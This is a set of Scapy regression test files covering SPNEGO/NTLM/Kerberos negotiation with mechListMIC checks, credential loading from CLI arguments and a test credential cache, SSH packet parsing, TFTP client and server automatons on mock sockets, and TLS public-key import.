SSP negotiation + mechListMIC % Two SPNEGOSSPs with different preferred mechanisms should work, % and mechListMIC should be used. srvssp = SPNEGOSSP([ KerberosSSP(), NTLMSSP(IDENTITIES={"User1": MD4le("Password123!")}) ]) clissp = SPNEGOSSP([ NTLMSSP(UPN="User1", PASSWORD="Password123!"), ]) clictx, tok, status = clissp.GSS_Init_sec_context(None) assert clictx.require_mic assert status == GSS_S_CONTINUE_NEEDED, status assert len(tok.innerToken.token.mechTypes) == 1 assert tok.innerToken.token.mechTypes[0].oid.val == '1.3.6.1.4.1.311.2.2.10' assert tok.innerToken.token.mechListMIC is None assert tok.innerToken.token._mechListMIC is None assert isinstance(tok.innerToken.token.mechToken.value, NTLM_NEGOTIATE) srvctx, tok, status = srvssp.GSS_Accept_sec_context(None, tok) assert srvctx.require_mic assert status == GSS_S_CONTINUE_NEEDED, status assert tok.token.mechListMIC is None assert tok.token.negState == 1 assert tok.token.supportedMech.oid.val == '1.3.6.1.4.1.311.2.2.10' assert isinstance(tok.token.responseToken.value, NTLM_CHALLENGE) clictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok) assert status == GSS_S_CONTINUE_NEEDED, status assert tok.token.negState is None assert tok.token.supportedMech is None assert isinstance(tok.token.responseToken.value, NTLM_AUTHENTICATE) assert isinstance(tok.token.mechListMIC.value, NTLMSSP_MESSAGE_SIGNATURE) assert tok.token.mechListMIC.value.SeqNum == 0 assert tok.token.mechListMIC.value.Version == 1 srvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok) assert status == GSS_S_COMPLETE, status assert tok is not None assert isinstance(tok.token, SPNEGO_negTokenResp) assert isinstance(tok.token.mechListMIC.value, NTLMSSP_MESSAGE_SIGNATURE) assert tok.token.mechListMIC.value.Version == 1 assert tok.token.mechListMIC.value.SeqNum == 0 clictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok) assert status == GSS_S_COMPLETE, status assert tok is None = SPNEGOSSP - SSP negotiation + mechListMIC - NegTokenInit2 % Same but with NegTokenInit2 srvssp = SPNEGOSSP([ KerberosSSP(), NTLMSSP(IDENTITIES={"User1": MD4le("Password123!")}) ]) clissp = SPNEGOSSP([ NTLMSSP(UPN="User1", PASSWORD="Password123!"), ]) srvctx, tok = srvssp.NegTokenInit2() assert tok.MechType.val == '1.3.6.1.5.5.2' assert [x.oid.val for x in tok.innerToken.token.mechTypes] == [ '1.2.840.48018.1.2.2', '1.2.840.113554.1.2.2', '1.3.6.1.4.1.311.2.2.10', ] assert tok.innerToken.token.reqFlags is None assert tok.innerToken.token.mechToken is None assert tok.innerToken.token.negHints.hintName.val == "not_defined_in_RFC4178@please_ignore" assert tok.innerToken.token.mechListMIC is None assert tok.innerToken.token._mechListMIC is None clictx, tok, status = clissp.GSS_Init_sec_context(None, tok) assert clictx.require_mic assert status == GSS_S_CONTINUE_NEEDED, status assert len(tok.innerToken.token.mechTypes) == 1 assert tok.innerToken.token.mechTypes[0].oid.val == '1.3.6.1.4.1.311.2.2.10' assert tok.innerToken.token.mechListMIC is None assert tok.innerToken.token._mechListMIC is None assert isinstance(tok.innerToken.token.mechToken.value, NTLM_NEGOTIATE) srvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok) assert srvctx.require_mic assert status == GSS_S_CONTINUE_NEEDED, status assert tok.token.mechListMIC is None assert tok.token.negState == 1 assert tok.token.supportedMech.oid.val == '1.3.6.1.4.1.311.2.2.10' assert isinstance(tok.token.responseToken.value, NTLM_CHALLENGE) clictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok) assert status == GSS_S_CONTINUE_NEEDED, status assert tok.token.negState is None assert tok.token.supportedMech is None assert isinstance(tok.token.responseToken.value, NTLM_AUTHENTICATE) assert isinstance(tok.token.mechListMIC.value, NTLMSSP_MESSAGE_SIGNATURE) assert tok.token.mechListMIC.value.SeqNum == 0 assert tok.token.mechListMIC.value.Version == 1 # INJECT FAULT: drop mechListMIC here, and make sure that the server doesn't let it go through. tok.token.mechListMIC = None srvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok) assert status == GSS_S_CONTINUE_NEEDED, status # Should now be CONTINUE instead of COMPLETE ! = SPNEGOSSP.from_cli_arguments - Utils from unittest import mock # Detect password prompts def password_failure(*args, **kwargs): raise ValueError("Password was prompted unexpectedly !") def password_input(*args, **kwargs): return "Password" def test_pwfail(**kwargs): """Password means failure""" with mock.patch('prompt_toolkit.prompt', side_effect=password_failure): return SPNEGOSSP.from_cli_arguments(**kwargs) def test_pwinput(**kwargs): """Password is entered""" with mock.patch('prompt_toolkit.prompt', side_effect=password_input): return SPNEGOSSP.from_cli_arguments(**kwargs) = SPNEGOSSP.from_cli_arguments - Username + Password - With input ssp = test_pwinput( UPN="Administrator", target="machine.domain.local", ) assert isinstance(ssp, SPNEGOSSP) assert len(ssp.ssps) == 1 assert ssp.ssps[0].HASHNT == b'\xa4\xf4\x9c@e\x10\xbd\xca\xb6\x82N\xe7\xc3\x0f\xd8R' = SPNEGOSSP.from_cli_arguments - Username + Password - With prompt try: test_pwfail( UPN="Administrator", target="machine.domain.local", ) assert False, "Should have prompted for password !" except ValueError: pass = SPNEGOSSP.from_cli_arguments - Username + Password - No input ssp = test_pwfail( UPN="Administrator", target="machine.domain.local", password="Password", ) assert isinstance(ssp, SPNEGOSSP) assert len(ssp.ssps) == 1 assert ssp.ssps[0].HASHNT == b'\xa4\xf4\x9c@e\x10\xbd\xca\xb6\x82N\xe7\xc3\x0f\xd8R' = SPNEGOSSP.from_cli_arguments - UPN + Password - With input ssp = test_pwinput( UPN="Administrator@domain.local", target="machine.domain.local", ) assert isinstance(ssp, SPNEGOSSP) assert len(ssp.ssps) == 2 assert isinstance(ssp.ssps[0], KerberosSSP) assert ssp.ssps[0].UPN == "Administrator@domain.local" assert isinstance(ssp.ssps[1], NTLMSSP) assert ssp.ssps[1].HASHNT == b'\xa4\xf4\x9c@e\x10\xbd\xca\xb6\x82N\xe7\xc3\x0f\xd8R' = SPNEGOSSP.from_cli_arguments - UPN + CCache - Prepare import os, base64 from scapy.utils import get_temp_file # Create CCACHE DATA = """ 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 UJ8RjD9bppHbawAAAAA= """ ccache_file = get_temp_file() with open(ccache_file, "wb") as fd: fd.write(base64.b64decode(DATA.strip())) os.environ["KRB5CCNAME"] = ccache_file = SPNEGOSSP.from_cli_arguments - UPN + CCache - TGT from KRB5CCNAME ssp = test_pwfail( UPN="Administrator@domain.local", target="machine.domain.local", use_krb5ccname=True, ) assert len(ssp.ssps) == 1 assert ssp.ssps[0].TGT assert not ssp.ssps[0].ST = SPNEGOSSP.from_cli_arguments - UPN + CCache - TGT from ccache ssp = test_pwfail( UPN="Administrator@domain.local", target="machine.domain.local", ccache=ccache_file ) assert len(ssp.ssps) == 1 assert ssp.ssps[0].TGT assert not ssp.ssps[0].ST = SPNEGOSSP.from_cli_arguments - UPN + CCache - ST from ccache ssp = test_pwfail( UPN="Administrator@domain.local", target="dc1.domain.local", ccache=ccache_file ) assert len(ssp.ssps) == 1 assert ssp.ssps[0].ST assert not ssp.ssps[0].TGT = SPNEGOSSP.from_cli_arguments - UPN + CCache - Failure try: test_pwfail( UPN="Administrator@domain.local", target="machine.domain.local", ) assert False, "Should have prompted for password !" except ValueError: pass = SPNEGOSSP.from_cli_arguments - UPN + CCache - Bad UPN try: test_pwfail( UPN="toto@domain.local", target="machine.domain.local", ccache=ccache_file ) assert False, "Should have failed !" except ValueError: pass ================================================ FILE: test/scapy/layers/ssh.uts ================================================ % SSH regression tests for Scapy + SSH tests = Load SSH and SSH pcap from scapy.layers.ssh import * pkts = rdpcap(scapy_path("/test/pcaps/ssh_ed25519.pcap")) = Check for SSHVersionExchange assert SSHVersionExchange in pkts[3] assert pkts[3].lines == [b'SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1'] = Check for SSH KexInit assert pkts[8].pay.type == 20 assert pkts[8].pay.kex_algorithms.names == [b'sntrup761x25519-sha512@openssh.com', b'curve25519-sha256', b'curve25519-sha256@libssh.org', b'ecdh-sha2-nistp256', b'ecdh-sha2-nistp384', b'ecdh-sha2-nistp521', b'diffie-hellman-group-exchange-sha256', b'diffie-hellman-group16-sha512', b'diffie-hellman-group18-sha512', b'diffie-hellman-group14-sha256'] assert pkts[8].pay.compression_algorithms_client_to_server.names == [b'none', b'zlib@openssh.com'] assert pkts[8].pay.first_kex_packet_follows == 0 = Check for SSH Kex DH Init assert pkts[9].pay.e.value == 2350579254774455149352841074576538343990628078324267734527140871419932900538846241321452574779013468175018290651674793284015144587365340014962083771650859331476013596977123734998706481058518220105378857548427645559226229797476788395456646389818256564838400739135010680681163456095677232493468587230912056633743356721223955966756143014970734820639779746710511156996619195651512803235508645669051962031830043263352566212925544898655158819407252176433755590900240990111833619058714386338971655960765233885975850331922799954445954999296511309262036243757363804224821843032668273263064448847356873248470173458896243397517402866118125112555466428030166305568609671333602038983517505792245686243281766138834921907336198416449172686346486278292406454736650900489703602941311383274571253473117352192402069818356338637658276508681778175858698292872544113899589241205559671386224999719303843179598966006636814844667908804397048115462945951578163865384872376314062218622823399683168509281546378022234848416282276373248755506541244682438394426446625521247772730497030387798046748675856950435919346613694108323269457293633349708282520556429147475379754811181108827452704284587405668562299209768965780662855380191554093502874303015220051947466960323628390298028334555285261078171376959928596505395834904631983924930632066431620277301098016669514461539415396461120090857273167687140578309080011600491384868409678444601854368584606594031430672989514629489628693896623746874263590779323124144977231406480674784862894820443935735009785417326990153059454525335480905124180809168192695170554860881795940302149730125034860576014797577021907464402342887433222178995989216549376816454492040151004613910636289921361266911700572137074963622410473946132501034758965925448585513804452940921661377181371668124810916661795313840472724039889785883499146147917756012320556865741641210760458632895093416475238323450214341924898457846364890041182141641464569458439289152005646151462927271290045368143992045845833755058875621892664952349241777000175525150234301417133611325716295866942917806328460205857145603834255471170372323643072574234093090258963511137747272416302757220165305443240348220594316744411327905569373474701071080394539231361841208268626239088329642014216286141161796678306068065801822739617419769840590119143287370990841250896367782388086153939896000077437989471526045058990545907990089943059323343511158016141104461822684535344848072465778114834380180144470998703244485996404968078774187171096252472206846575112317045051585989901412734220984229769099373462781991394933642599850052765470790711255335450011529534223200229563089616493679704133500670071803056311472370457584460617950784473886654145020569892882621834458180061425761806601776138949785217977296683442504030198235793054259542236826904098257847794792743244091577002001218915723232763883537852453240602434246755006330557239933 = Check for SSH Kex DH Reply assert isinstance(pkts[10].pay, SSHKexDHReply) assert isinstance(pkts[10].pay.K_S.value.data, SSHPublicKeyEd25519) assert pkts[10].pay.f.value == 145420364842225773825302401106325914711274265993324154430728894326534621359109155840425186538544552052796050053335958730866886288740744420249345515750154798851184330959497070659898985425204715378366354679146309457749164371561091155243958216182101971799434050687511559028317449152411472762323723877627671103812914723157350965167617881557068354019877391362267976527576493473875435265184048851428107514944286989616342786043599413975131699425817361398892615937862444397978104862748600515902989933687456311656405442430739088222322061894563421315591443786569893421006874109563323602421056664468719115729999515282373592751468532774515579030227333862046510775187524340678261311443115463596625632382798119365245475607690175500571706486276645913449452000600385503347151840872914773898773488397031589360149311688536059026933073591802120869627115324168091970764557964769308675365930500125154235572029870366848539246435374954851006770023189648291776010080795050223050860998900405137902471191697225277049222592746894837282272020541849100564888026189233806723871439229668619801557051355230295711162074261723735096669381118352514087748543069098521714367520620776857909533548692973709024859908263199571215346407936984296807266382121546828903054910125941912141681820440324847067053005923257053547200527533308902169030187411617725866120378101642906954603853930588700927719183637036840650380578915269559991390749067662922590313459051714023483342069069486856997828131877064697883838294364044597377634856362822832142618450301805844505073311557951656608292385708401134544514223462642265767599035258374748229336714718608533685329531126529049892131138601419901815421341388895007293701087086445997233255224283053634387459108049782685439584490166669027769404082346078709263888381794126372684739109951124329930500566714883267402922809647283904702829959640898613561998011861738175990862617646085551086342592758425640217942375761120002214263525285687683437628809639146334705175599606153814250017075639638206689953262483413749172593472713439934441043308651524160071237216451477801106668255062822659635335764848170476026942604710330092513922989750910298327358097823488084536544440798321307308541642435897397586864585774450444856007727437988290169282904777426371810586287022758237175995926455562260123808781040290584381913532810485127812346450200037604344159195037050778864761984776712383681923622054756893185075573777827838180404632794820045063257647197822508971656160962510350864007240071912329456453627835389896781002210494913596666104457655076724437210855739938617334378596008363125551567605259368940675801716 assert isinstance(pkts[10].pay.H_hash.value.data, SSHSignatureEd25519) assert pkts[10].pay.H_hash.value.data.key.value == b"\xef\xecj=~\xe4Y'\xe9\xad\xb7?\xfe?[\xf3\xddn\x1e\x91\xb5\x1c\xb6O\xf5&\xc7$\x9f\x0c\xeb\x1c<\xf2n\x87iH\xb9\xaf\xf5\xdfXB\xb7\x99\xd1\xbe%\x92\x98a)+\x01\\\xa7\xb4\xb2\x82!\x05e\x0e" = Check for the 2 SSH New Msgs assert isinstance(pkts[10][SSH:2].pay, SSHNewKeys) assert isinstance(pkts[12].pay, SSHNewKeys) ================================================ FILE: test/scapy/layers/tftp.uts ================================================ % Regression tests for TFTP # More information at http://www.secdev.org/projects/UTscapy/ + TFTP coverage tests = Test answers assert TFTP_DATA(block=1).answers(TFTP_RRQ()) assert not TFTP_WRQ().answers(TFTP_RRQ()) assert not TFTP_RRQ().answers(TFTP_WRQ()) assert TFTP_ACK(block=1).answers(TFTP_DATA(block=1)) assert not TFTP_ACK(block=0).answers(TFTP_DATA(block=1)) assert TFTP_ACK(block=0).answers(TFTP_RRQ()) assert not TFTP_ACK().answers(TFTP_ACK()) assert TFTP_ERROR().answers(TFTP_DATA()) and TFTP_ERROR().answers(TFTP_ACK()) assert TFTP_OACK().answers(TFTP_WRQ()) = TFTP Options x=IP(src="127.0.0.1")/UDP(sport=12345)/TFTP()/TFTP_RRQ(filename="fname")/TFTP_Options(options=[TFTP_Option(oname="blksize", value="8192"),TFTP_Option(oname="other", value="othervalue")]) assert raw(x) == b'E\x00\x00H\x00\x01\x00\x00@\x11|\xa2\x7f\x00\x00\x01\x7f\x00\x00\x0109\x00E\x004B6\x00\x01fname\x00octet\x00blksize\x008192\x00other\x00othervalue\x00' y=IP(raw(x)) y[TFTP_Option].oname y[TFTP_Option:2].oname assert len(y[TFTP_Options].options) == 2 and y[TFTP_Option].oname == b"blksize" + TFTP Automatons ~ linux = Utilities ~ linux from scapy.automaton import select_objects class MockTFTPSocket(object): packets = [] def __init__(self, iface): self.iface = iface def recv(self, n=None): pkt = self.packets.pop(0) return pkt def send(self, *args, **kargs): pass def close(self): pass @classmethod def select(classname, inputs, remain): test = [s for s in inputs if isinstance(s, classname)] if test: if len(test[0].packets): return test else: inputs = [s for s in inputs if not isinstance(s, classname)] return select_objects(inputs, remain) = TFTP_read() automaton ~ linux class MockReadSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_DATA(block=1) / ("P" * 512), IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_DATA(block=2) / "<3"] tftp_read = TFTP_read("file.txt", "1.2.3.4", sport=0x2807, ll=MockReadSocket, recvsock=MockReadSocket, debug=5) res = tftp_read.run() assert res == (b"P" * 512 + b"<3") = TFTP_read() automaton error ~ linux class MockReadSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ERROR(errorcode=2, errormsg="Fatal error")] tftp_read = TFTP_read("file.txt", "1.2.3.4", sport=0x2807, ll=MockReadSocket, recvsock=MockReadSocket) try: tftp_read.run() assert False except Automaton.ErrorState as e: assert "Reached ERROR" in str(e) assert "ERROR Access violation" in str(e) = TFTP_write() automaton ~ linux data_received = b"" class MockWriteSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ACK(block=0), IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ACK(block=1) ] def send(self, *args, **kargs): if len(args) and Raw in args[0]: global data_received data_received += args[0][Raw].load tftp_write = TFTP_write("file.txt", "P" * 767 + "Scapy <3", "1.2.3.4", sport=0x2807, ll=MockWriteSocket, recvsock=MockWriteSocket) tftp_write.run() assert data_received == (b"P" * 767 + b"Scapy <3") = TFTP_write() automaton error ~ linux class MockWriteSocket(MockTFTPSocket): packets = [IP(src="1.2.3.4") / UDP(dport=0x2807) / TFTP_ERROR(errorcode=2, errormsg="Fatal error")] tftp_write = TFTP_write("file.txt", "P" * 767 + "Scapy <3", "1.2.3.4", sport=0x2807, ll=MockWriteSocket, recvsock=MockWriteSocket) try: tftp_write.run() assert False except Automaton.ErrorState as e: assert "Reached ERROR" in str(e) assert "ERROR Access violation" in str(e) = TFTP_WRQ_server() automaton ~ linux class MockWRQSocket(MockTFTPSocket): packets = [IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_WRQ(filename="scapy.txt"), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=1) / ("P" * 512), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=2) / "<3"] tftp_wrq = TFTP_WRQ_server(ip="1.2.3.4", sport=0x2807, ll=MockWRQSocket, recvsock=MockWRQSocket) assert tftp_wrq.run() == (b"scapy.txt", (b"P" * 512 + b"<3")) = TFTP_WRQ_server() automaton with options ~ linux class MockWRQSocket(MockTFTPSocket): packets = [IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_WRQ(filename="scapy.txt") / TFTP_Options(options=[TFTP_Option(oname="blksize", value="100")]), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=1) / ("P" * 100), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_DATA(block=2) / "<3"] tftp_wrq = TFTP_WRQ_server(ip="1.2.3.4", sport=0x2807, ll=MockWRQSocket, recvsock=MockWRQSocket) assert tftp_wrq.run() == (b"scapy.txt", (b"P" * 100 + b"<3")) = TFTP_RRQ_server() automaton ~ linux sent_data = "P" * 512 + "<3" import tempfile filename = tempfile.mktemp(suffix=".txt") fdesc = open(filename, "w") fdesc.write(sent_data) fdesc.close() received_data = "" class MockRRQSocket(MockTFTPSocket): packets = [IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_RRQ(filename="scapy.txt") / TFTP_Options(options=[TFTP_Option(oname="blksize", value="100")]), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_RRQ(filename=filename[5:]) / TFTP_Options(), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_ACK(block=1), IP(dst="1.2.3.4") / UDP(dport=0x2807) / TFTP() / TFTP_ACK(block=2) ] def send(self, *args, **kargs): if len(args): pkt = args[0] if TFTP_DATA in pkt: global received_data received_data += pkt[Raw].load.decode("utf-8") tftp_rrq = TFTP_RRQ_server(ip="1.2.3.4", sport=0x2807, dir="/tmp/", serve_one=True, ll=MockRRQSocket, recvsock=MockRRQSocket, debug=4) tftp_rrq.run() assert received_data == sent_data import os os.unlink(filename) ================================================ FILE: test/scapy/layers/tls/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2016 Maxence Tury """ Examples and test PKI for the TLS module. """ ================================================ FILE: test/scapy/layers/tls/cert.uts ================================================ # Cert extension - Regression Test Campaign # Try me with: # bash test/run_tests -t test/cert.uts -F ~ crypto ########### PKCS helpers ############################################### + PKCS helpers tests = PKCS os2ip basic tests pkcs_os2ip(b'\x00\x00\xff\xff') == 0xffff and pkcs_os2ip(b'\xff\xff\xff\xff\xff') == 0xffffffffff = PKCS i2osp basic tests pkcs_i2osp(0xffff, 4) == b'\x00\x00\xff\xff' and pkcs_i2osp(0xffff, 2) == b'\xff\xff' and pkcs_i2osp(0xffffeeee, 3) == b'\xff\xff\xee\xee' ########### PubKey class ############################################### + PubKey class tests = PubKey class : Importing PEM-encoded RSA public key x = PubKey(""" -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj 1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ 2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0 oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd I8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkm TL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvz AwIDAQAB -----END PUBLIC KEY----- """) x_pubNum = x.pubkey.public_numbers() type(x) is PubKeyRSA = PubKey class : Verifying PEM key format x.frmt == "PEM" = PubKey class : Importing DER-encoded RSA Key y = PubKey(b'0\x82\x01\"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\x98Wj?\xe9\xd3\x11\x9b\xa4KIK?\xec\xa3\xd6\x03H\x9a\xc1\x08\x7f\xb3\xf6\xc9$\xee\x9d\xc7\x98\xc7\t&\xe1Q9A\x17\x83m\xbd\x8b\xe7\xf1\xcb\x03\xdaO\x98\x87\x90-*\xbf\x06\x03\xb5\x99\xe3\x9cl\xe4\x89\xd9\x85GCo\x0cC\x9e\xbe\xf0*\xdb\xea}\xbc\x8b\'\x17\xe2\x1at\x1fp1D\x08\xe1\xd1\xe7W\xfa\xad\xf2\x8a[\xd8\'\x85\xbd\xfc\xd9\xc8o\xfc\x00g\x04\xb4\xa0\x98\x9f\xfe\xd4\xe4T^\xfb\x1f&\xc0|\x97^\xe4J\x9b\xa7\xe6\xc2(\x8b\xccZv\xa6n\x1fCEL\xa3\xac\x10Y\xa3\x97@\xd6\x8d\xf6\xce\x9b\x85\x06\xb2]#\xc7fR\x9c=\x82\xd7\xf4\x17@Z\xf2Q\x99\x9b\xc5*sA\xb2]\xe5\xce%A6\xbb\xb0\xa22\xed\xcc\xef\xb0L\xe9\x92\xcbM\xca0\xe7\xe6\xd0\"i&L\xbdR\x1a\x1c\xf0~)\xcc\x13W\xba\xa7q\xe6\xff\xfaC\x8e\xe2o\x15\xa66\xdaM9.\x02\xee\xca\xa79\xf6\xf1b\x07t\xe8\x95\xdc\xfc\xf8\x06\xcc6;\xf3\x03\x02\x03\x01\x00\x01') y_pubNum = y.pubkey.public_numbers() type(y) is PubKeyRSA = PubKey class : Verifying DER key format y.frmt == "DER" = PubKey class : Checking modulus value 